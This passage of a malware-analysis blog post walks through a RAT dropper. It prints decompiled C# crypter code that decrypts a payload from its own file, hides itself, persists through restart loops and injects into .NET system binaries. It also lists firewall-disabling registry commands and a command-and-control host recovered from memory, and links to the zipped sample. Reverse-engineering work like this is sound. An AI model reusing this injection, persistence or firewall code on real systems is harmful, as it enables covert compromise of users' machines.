.6em;\">\n<pre style=\"margin: 0; line-height: 125%\"><span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Microsoft.VisualBasic<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Microsoft.VisualBasic.CompilerServices<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1.My.Resources<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Collections.Generic<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Diagnostics<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Globalization<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.IO<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Runtime.CompilerServices<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Security.Cryptography<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Text<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">using<\/span> <span style=\"color: #0e84b5; font-weight: bold\">System.Threading<\/span>;\r\n<span style=\"color: #008800; font-weight: bold\">namespace<\/span> <span style=\"color: #0e84b5; font-weight: bold\">Project1<\/span>\r\n{\r\n<span style=\"color: #0000CC\">\t[StandardModule]<\/span>\r\n\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">sealed<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">ue4tretr<\/span>\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> Spy = <span style=\"background-color: #fff0f0\">&quot;ofemeiecumestitu&quot;<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _fa1;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _fa2;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _fa3;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _fa4;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> _fa5;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] _byteArray;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> SymmetricAlgorithm _algorithm = <span style=\"color: #008800; font-weight: bold\">new<\/span> RijndaelManaged();\r\n<span style=\"color: #0000CC\">\t\t[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]<\/span>\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">tuy5u6ruy<\/span>()\r\n\t\t{\r\n\t\t\tFileSystem.FileOpen(<span style=\"color: #6600EE; font-weight: bold\">1<\/span>, Process.GetCurrentProcess().MainModule.FileName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>);\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> expression = Strings.Space((<span style=\"color: #333399; font-weight: bold\">int<\/span>)FileSystem.LOF(<span style=\"color: #6600EE; font-weight: bold\">1<\/span>));\r\n\t\t\tFileSystem.FileGet(<span style=\"color: #6600EE; font-weight: bold\">1<\/span>, <span style=\"color: #008800; font-weight: bold\">ref<\/span> expression, -<span style=\"color: #6600EE; font-weight: bold\">1L<\/span>, <span style=\"color: #008800; font-weight: bold\">false<\/span>);\r\n\t\t\tFileSystem.FileClose(<span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span>[]\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #6600EE; font-weight: bold\">1<\/span>\r\n\t\t\t});\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span>[] array = Strings.Split(expression, ue4tretr.Spy, -<span style=\"color: #6600EE; font-weight: bold\">1<\/span>, CompareMethod.Binary);\r\n\t\t\tThirdXorr thirdXorr = <span style=\"color: #008800; font-weight: bold\">new<\/span> ThirdXorr(array[<span style=\"color: #6600EE; font-weight: bold\">2<\/span>]);\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> s = thirdXorr.PolyDeCrypt(array[<span style=\"color: #6600EE; font-weight: bold\">1<\/span>]);\r\n\t\t\tue4tretr._fa1 = array[<span style=\"color: #6600EE; font-weight: bold\">3<\/span>];\r\n\t\t\tue4tretr._fa2 = array[<span style=\"color: #6600EE; font-weight: bold\">4<\/span>];\r\n\t\t\tue4tretr._fa3 = array[<span style=\"color: #6600EE; font-weight: bold\">5<\/span>];\r\n\t\t\tue4tretr._fa4 = array[<span style=\"color: #6600EE; font-weight: bold\">6<\/span>];\r\n\t\t\tue4tretr._fa5 = array[<span style=\"color: #6600EE; font-weight: bold\">7<\/span>];\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa1, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.Melt();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa2, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.Startup();\r\n\t\t\t}\r\n\t\t\tue4tretr._byteArray = Encoding.Default.GetBytes(s);\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa3, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.Injection();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa4, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.AppLaunch();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa5, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.Vbc();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Operators.CompareString(ue4tretr._fa2, <span style=\"color: #008800; font-weight: bold\">true<\/span>.ToString(CultureInfo.InvariantCulture), <span style=\"color: #008800; font-weight: bold\">false<\/span>) == <span style=\"color: #6600EE; font-weight: bold\">0<\/span>)\r\n\t\t\t{\r\n\t\t\t\tue4tretr.FilePersistece();\r\n\t\t\t}\r\n\t\t\tProjectData.EndApp();\r\n\t\t}\r\n<span style=\"color: #0000CC\">\t\t[MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]<\/span>\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Melt<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> fileName = Process.GetCurrentProcess().MainModule.FileName;\r\n\t\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> text = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + <span style=\"background-color: #fff0f0\">&quot;\\\\explorer.exe&quot;<\/span>;\r\n\t\t\t\tFile.Delete(text);\r\n\t\t\t\tFile.Move(fileName, text);\r\n\t\t\t\tProcess.Start(text);\r\n\t\t\t\tFile.SetAttributes(text, FileAttributes.Hidden);\r\n\t\t\t\tProjectData.EndApp();\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception expr_44)\r\n\t\t\t{\r\n\t\t\t\tProjectData.SetProjectError(expr_44);\r\n\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Startup<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t{\r\n\t\t\t\tFile.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + <span style=\"background-color: #fff0f0\">&quot;\\\\sppnp.exe&quot;<\/span>);\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (!File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + <span style=\"background-color: #fff0f0\">&quot;\\\\THEMECPL.exe&quot;<\/span>))\r\n\t\t\t\t{\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tFile.WriteAllBytes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + <span style=\"background-color: #fff0f0\">&quot;\\\\THEMECPL.exe&quot;<\/span>, Resources.Project1);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception arg_58_0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tProjectData.SetProjectError(arg_58_0);\r\n\t\t\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tFile.SetAttributes(Path.GetTempPath() + <span style=\"background-color: #fff0f0\">&quot;\\\\sppnp.exe&quot;<\/span>, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.NotContentIndexed);\r\n\t\t\t\t\tFile.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + <span style=\"background-color: #fff0f0\">&quot;\\\\THEMECPL.exe&quot;<\/span>, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.NotContentIndexed);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception arg_9A_0)\r\n\t\t\t{\r\n\t\t\t\tProjectData.SetProjectError(arg_9A_0);\r\n\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">FilePersistece<\/span>()\r\n\t\t{\r\n\t\t\tList&lt;<span style=\"color: #333399; font-weight: bold\">string<\/span>&gt; list = <span style=\"color: #008800; font-weight: bold\">new<\/span> List&lt;<span style=\"color: #333399; font-weight: bold\">string<\/span>&gt;();\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">while<\/span> (<span style=\"color: #008800; font-weight: bold\">true<\/span>)\r\n\t\t\t{\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">try<\/span>\r\n\t\t\t\t{\r\n\t\t\t\t\tProcess[] processes = Process.GetProcesses();\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">for<\/span> (<span style=\"color: #333399; font-weight: bold\">int<\/span> i = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>; i &lt; processes.Length; i++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tProcess process = processes[i];\r\n\t\t\t\t\t\tlist.Add(process.ProcessName);\r\n\t\t\t\t\t}\r\n\t\t\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (!list.Contains(<span style=\"background-color: #fff0f0\">&quot;THEMECPL&quot;<\/span>))\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tProcess.Start(Environment.GetFolderPath(Environment.SpecialFolder.Templates) + <span style=\"background-color: #fff0f0\">&quot;\\\\THEMECPL.exe&quot;<\/span>);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tlist.Clear();\r\n\t\t\t\t\tThread.Sleep(<span style=\"color: #6600EE; font-weight: bold\">100<\/span>);\r\n\t\t\t\t}\r\n\t\t\t\t<span style=\"color: #008800; font-weight: bold\">catch<\/span> (Exception arg_5D_0)\r\n\t\t\t\t{\r\n\t\t\t\t\tProjectData.SetProjectError(arg_5D_0);\r\n\t\t\t\t\tProjectData.ClearProjectError();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Injection<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Environment.OSVersion.Version.Major &gt;= <span style=\"color: #6600EE; font-weight: bold\">6<\/span>)\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.Windows7(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Process.GetCurrentProcess().MainModule.FileName);\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">AppLaunch<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Environment.OSVersion.Version.Major &gt;= <span style=\"color: #6600EE; font-weight: bold\">6<\/span>)\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;Windir&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\AppLaunch.exe&quot;<\/span>);\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;Windir&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\AppLaunch.exe&quot;<\/span>);\r\n\t\t\t}\r\n\t\t}\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Vbc<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span> (Environment.OSVersion.Version.Major &gt;= <span style=\"color: #6600EE; font-weight: bold\">6<\/span>)\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.Windows7(ue4tretr._byteArray, Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;Windir&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\vbc.exe&quot;<\/span>);\r\n\t\t\t}\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">else<\/span>\r\n\t\t\t{\r\n\t\t\t\tRuntimePortableExecutable.WindowsXp(ue4tretr._byteArray, Interaction.Environ(<span style=\"background-color: #fff0f0\">&quot;Windir&quot;<\/span>) + <span style=\"background-color: #fff0f0\">&quot;\\\\Microsoft.NET\\\\Framework\\\\v2.0.50727\\\\vbc.exe&quot;<\/span>);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n<\/pre>\n<\/div>\n<p>Now for a little explaination. The other methods are self explainatory &#8211; we are most interested in the &#8216;tuy5u6ruy&#8217; method. It should be noted that this method was exlicitly labled in the previous binary as to be called from the resource method. This particular method starts by opening a file handle of the running binary and returning a buffer containing the contents of the running binary. It then takes the contents of the array and runs its decryption routine on it (see class &#8216;ThirdXorr&#8217; and finally runs the decrypted binary via the injection \/ persistance methods, adding the decrypted binary to startup. Ingenius. <\/p>\n<p>Once again, we&#8217;re going to rip off the code of the malware to return the decrypted binary. We&#8217;ll have to make a few changes however, like instead of grabbing the running process for a byte stream, we&#8217;ll pass a static binary. After all, why run the malware when we don&#8217;t have to? Also, there are a few fixups to do as this was originally compiled with VB.net and not C#, so minor casting issues are to be fixed. Also, we need to be sure we open the original binary at the top of the chain, not the one from the resource file in the FileOpen() method call:<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/crackedagain.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/crackedagain-300x167.png\" alt=\"crackedagain\" width=\"300\" height=\"167\" class=\"alignnone size-medium wp-image-854\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/crackedagain-300x167.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/crackedagain-1024x570.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/crackedagain.png 1938w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>It&#8217;s taken us a while, but the we have finally arrived at the target binary which is supposed to run. This binary, aptly named &#8216;haha.wut&#8217;, decrypted from our ripped code, is NOT a .net binary. In fact, its a vb6 binary, a dll at that. <\/p>\n<p>Filename:         haha.wut<br \/>\nMD5 Hash:         A953D2420CDAD1E4AE7F06AD56D893D7<br \/>\nDetection Ratio:  Unknown<\/p>\n<p>Packed? OF COURSE IT IS!<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/so_very_packed.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/so_very_packed-300x188.png\" alt=\"so_very_packed\" width=\"300\" height=\"188\" class=\"alignnone size-medium wp-image-855\" srcset=\"https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/so_very_packed-300x188.png 300w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/so_very_packed-1024x642.png 1024w, https:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/so_very_packed.png 1689w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>From here, its a matter of running the thing in a controlled VM and pulling anything useful out of RAM. From what I saw, it wasn&#8217;t new 0day malware, rather some off the shell stuff called &#8220;nir_cmd.bss setsysvolume 65535&#8221;, and is a RAT. I know this because of the unique string present in the binary &#8220;bss_server.Socket&#8221; which, after a quick google search, is present in the malware &#8220;Ainslot&#8221;, one of the dozens of Zues variants which would technically make it a banker bot. See <a href=\"http:\/\/www.virusradar.com\/Win32_Ainslot.AA\/description\">http:\/\/www.virusradar.com\/Win32_Ainslot.AA\/description<\/a>.<\/p>\n<p>What it does is turn off the firewall, gets the IP \/ geolocation, and then attempt to call home to a dynamic DNS provider. unfortunately for me, the IP associated with the dynamic DNS provider was no longer valid, however at the time, I&#8217;m told it pointed back to Syria.<\/p>\n<p>C&#038;C host: alosh66.servecounterstrike.com<\/p>\n<p>nf1.no-ip.com [50.31.129.129]<br \/>\nnf2.no-ip.com [69.72.255.8]<br \/>\nnf3.no-ip.com [69.65.40.108]<br \/>\nnf4.no-ip.com [69.65.5.122]<br \/>\nQuery for DNS records for alosh66.servecounterstrike.com failed: Timed out <\/p>\n<p>Memory info:<\/p>\n<p>x27adf74 (314): cmd \/c REG ADD HKLM\\System\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile \/v &#8220;DoNotAllowExceptions&#8221; \/t REG_DWORD \/d &#8220;0&#8221; \/f<br \/>\n0x27ae118 (282): cmd \/c REG ADD HKLM\\System\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List \/v &#8221;<br \/>\n0x27ae238 (32): &#8221; \/t REG_SZ \/d &#8221;<\/p>\n<p>0x27aebcc (32): api.ipinfodb.com<br \/>\n0x27aebf4 (50): GET \/v2\/ip_query.php?key=<br \/>\n0x27aec2c (44): &#038;timezone=off HTTP\/1.1<br \/>\n0x27aec60 (44): Host: api.ipinfodb.com<br \/>\n0x27aec94 (46): Cache-Control: no-cache<br \/>\n0x27aece4 (20): <Latitude><br \/>\n0x27aed10 (22): <Longitude><br \/>\n0x27aed2c (66): GET \/v2\/ip_query_country.php?key=<br \/>\n0x27aed74 (26): <CountryName><br \/>\n0x27aeda8 (24): <RegionName><br \/>\n0x27aede8 (26): MaxClockSpeed<\/p>\n<p>Good stuff right? <\/p>\n<p>You can download the source for the first reversal app <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/SyrianMalwareReveral.7z\">here<\/a>, the second <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/SyrianReversal2.7z\">here<\/a>, and the full malware \/ logs \/ good stuff <a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/c09d23a8e44c3170e9af0132788fceb0_writeup-by-joe.7z\">here<\/a>. The password is &#8216;infected&#8217;.<\/p>\n<p>Happy cracking!<\/p>\n<p><a href=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/woody.png\"><img decoding=\"async\" loading=\"lazy\" src=\"http:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2014\/07\/woody.png\" alt=\"woody\" width=\"230\" height=\"199\" class=\"alignnone size-full wp-image-860\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Back for part 2 are we? Let&#8217;s get this show on the road. We&#8217;ve seen how awful the first piece of malware was in terms of how it was thrown together in all but 10 minutes, but you aint seen nothing yet. The next one actually embeds passwords inside and even email addresses. After that, [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,5,7],"tags":[92,40,48,50,106],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/834"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=834"}],"version-history":[{"count":7,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/834\/revisions"}],"predecessor-version":[{"id":863,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/834\/revisions\/863"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}